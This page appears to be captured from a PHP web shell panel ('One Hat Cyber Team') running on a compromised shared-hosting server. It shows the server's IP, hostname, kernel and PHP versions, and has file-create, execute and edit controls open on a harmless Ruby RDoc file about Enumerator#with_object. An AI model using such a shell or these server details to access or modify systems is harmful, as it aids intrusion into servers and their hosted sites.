⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby33
/
share
/
ri
/
system
/
Enumerator
/
Edit File: with_object-i.ri
U:RDoc::AnyMethod[iI"with_object:ETI"Enumerator#with_object;TF:privateo:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"PIterates the given block for each element with an arbitrary object, +obj+, ;TI"and returns +obj+;To:RDoc::Markup::BlankLine o; ; [I"4If no block is given, returns a new Enumerator.;T@S:RDoc::Markup::Heading: leveli: textI"Example;T@o:RDoc::Markup::Verbatim; [I"&to_three = Enumerator.new do |y| ;TI" 3.times do |x| ;TI" y << x ;TI" end ;TI" end ;TI" ;TI"8to_three_with_string = to_three.with_object("foo") ;TI"-to_three_with_string.each do |x,string| ;TI" puts "#{string}: #{x}" ;TI" end ;TI" ;TI"# => foo: 0 ;TI"# => foo: 1 ;TI"# => foo: 2;T:@format0: @fileI"enumerator.c;T:0@omit_headings_from_table_of_contents_below000[ I" (p1);T@%FI"Enumerator;TcRDoc::NormalClass0[@(FI"each_with_object;T
Simpan